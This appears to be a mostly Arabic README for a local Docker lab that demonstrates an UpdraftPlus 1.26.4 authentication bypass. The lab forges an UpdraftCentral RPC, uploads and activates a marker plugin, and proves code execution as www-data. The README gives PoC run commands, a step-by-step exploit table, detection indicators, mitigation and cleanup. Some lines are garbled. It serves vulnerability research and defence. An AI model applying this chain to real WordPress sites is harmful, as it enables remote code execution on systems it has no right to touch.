Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
### الهدف المُرقَّع
الأمر:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
## أوامر التحقق اليدوي
تحقق من صحة الخدمة:```bash
docker compose ps
افحص بيانات تعريف الخدمة الضعيفة:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
افحص البيانات الوصفية للخدمة المصححة:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
تحقق من حالة المكوّن الإضافي في وقت التشغيل:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
شغّل التحقق باستخدام ping فقط:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
إثبات Run ID:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
تحقق من نقطة نهاية العلامة مباشرة بعد تشغيل PoC:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
متوقع:```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route
تحقق من المكونات الإضافية المثبتة داخل الحاوية الضعيفة:```bash
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
تحقق من المكونات الإضافية المثبتة داخل الحاوية المصححة:```bash
docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
يجب أن تحتوي الخدمة القابلة للاستغلال على المكوّن الإضافي المميّز (marker plugin) بعد تشغيل PoC. بينما لا يجب أن تحتويه الخدمة المُصحَّحة.
## التأثير
يُظهر هذا المختبر أن مهاجمًا غير مصادَق يمكنه تزوير رسالة RPC من UpdraftCentral تصل إلى تنفيذ الأوامر المميّزة في UpdraftPlus 1.26.4 عند وجود حالة مفتاح UpdraftCentral مناسبة.
الأثر المُثبَت هو بأسلوب تنفيذ التعليمات البرمجية عن بُعد (RCE) لأن أمر RPC المُزوَّر يسيء استخدام وظيفة إدارة الإضافات الشرعية:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
يُظهر الإثبات المحلي التنفيذ كمستخدم خادم الويب:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
تظل فئة الثغرة تجاوز المصادقة. نتيجة تنفيذ الكود هي تأثير متسلسل عبر تثبيت إضافات WordPress بصلاحيات مرتفعة.
## الاكتشاف والمراقبة
تشمل المؤشرات المحتملة طلبات POST غير المصادق عليها إلى الصفحة الأمامية لـ WordPress تحتوي على حقول UpdraftCentral RPC:```text
format
key_name
udrpc_message
signature
خصائص مشبوهة:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request
مؤشرات المختبر المحلية:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
أفكار لمراقبة الإنتاج:
udrpc_message.format=1 الصادرة من مصادر غير موثوقة.wp-content/plugins.قم بترقية UpdraftPlus إلى الإصدار 1.26.5 أو أحدث.
يرفض الإصدار المُصحَّح مفاتيح التشفير المتماثل غير الصالحة بعد فك تشفيرها قبل فك التشفير المتماثل وإرسال الأوامر.
خطوات التخفيف الموصى بها:
udrpc_message المشبوهة.الإصلاح الأهم هو تشغيل نسخة مُصحَّحة من UpdraftPlus ترفض المفاتيح المتماثلة غير الصالحة قبل فك التشفير والإرسال.
أوقف الحاويات وأزل الشبكات:```bash docker compose down --remove-orphans
إزالة الحاويات والشبكات ووحدات التخزين:```bash
docker compose down -v --remove-orphans
إزالة البيئة الافتراضية لبايثون:```bash rm -rf venv
احذف ملفات الأدلة المحلية إذا تم إنشاؤها:```bash
rm -rf evidence/
هذا المختبر مخصص لأبحاث الأمن المحلية والعروض التوضيحية الخاضعة للرقابة فقط.
لا تقم بتشغيل PoC ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
لا تستخدم بيانات اعتماد حقيقية أو أسرار إنتاج أو أهداف خارجية في هذا المختبر.
يقتصر نطاق PoC عمدًا على خدمات Docker المحلية مثل:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082
يرفض إثبات المفاهيم (PoC) الأهداف غير المحلية افتراضيًا.
لا ينفّذ المكوّن الإضافي للمُعلِّم معلمة تنفيذ أوامر عامة. إنه يوفّر فقط نقطة نهاية إثبات محلية مشفّرة بشكل ثابت تشغّل `/usr/bin/id`.
لا يتضمن هذا المختبر:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
الهدف هو إظهار شرط تقني محدد في بيئة خاضعة للتحكم:```text unauthenticated forged RPC
## المراجع
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
* قاعدة بيانات ثغرات Wordfence: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* قاعدة بيانات Patchstack: UpdraftPlus
https://patchstack.com/database/
* إضافة WordPress.org: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* SVN إضافة WordPress.org
https://plugins.svn.wordpress.org/updraftplus/
* وسوم SVN لإضافة WordPress.org
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: مرجع المصادقة السريع
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: دليل اختبار أمان الويب
https://owasp.org/www-project-web-security-testing-guide/
| سلوك PoC | السلوك المصدري المُختبر | المتوقع على 1.26.4 | المتوقع على 1.26.5 |
|---|
إرسال POST مع format=1 | المستقبِل يقبل تنسيق RPC القديم | يستمر | يستمر إلى فحص فك التشفير المُصحَّح |
| حذف التوقيع الصحيح | فحص التوقيع ينطبق فقط على format >= 2 | التوقيع غير مطلوب | التوقيع غير مطلوب لـ format=1، لكن يُحظَر لاحقًا |
| إرسال كتلة RSA غير صالحة | فك تشفير RSA يُرجع مفتاحًا متماثلًا غير صالح | المفتاح غير الصالح يصل إلى setKey() | المفتاح غير الصالح مرفوض |
| تشفير JSON بمفتاح فارغ وIV فارغ | يحاكي سلوك phpseclib الاحتياطي بعد setKey(false) | يُفك تشفيره إلى JSON صالح | لا يُفك تشفيره |
تعيين command=ping | يختبر تجاوز التشفير والإرسال فقط | PING DISPATCHED | PING NOT DISPATCHED |
تعيين command=plugin.upload_plugin | يستدعي طريقة رفع الإضافة في UpdraftCentral | يتم تثبيت ملف ZIP للإضافة | لا يصل الأمر |
تعيين activate=true | يُطلق activate_plugin() بعد التثبيت | إضافة العلامة نشطة | إضافة العلامة غائبة |
إرسال طلب إلى /wp-json/cve-lab/v1/id | يتحقق مما إذا كان كود إضافة العلامة قيد التشغيل | يُرجع uid=33(www-data) | يُرجع 404 rest_no_route |
| الخدمة | المكوّن | الإصدار / الدور |
|---|
vuln | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 هدف معرّض للثغرة |
patched | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 هدف مصحّح |
vuln_db | MariaDB | قاعدة بيانات الهدف المعرّض للثغرة |
patched_db | MariaDB | قاعدة بيانات الهدف المصحّح |
vuln_setup | خدمة إعداد WP-CLI | تثبّت WordPress، وتنشّط UpdraftPlus، وتهيئ الحالة الأولية للمفتاح المحلي |
patched_setup | خدمة إعداد WP-CLI | تثبّت WordPress، وتنشّط UpdraftPlus، وتهيئ الحالة الأولية للمفتاح المحلي |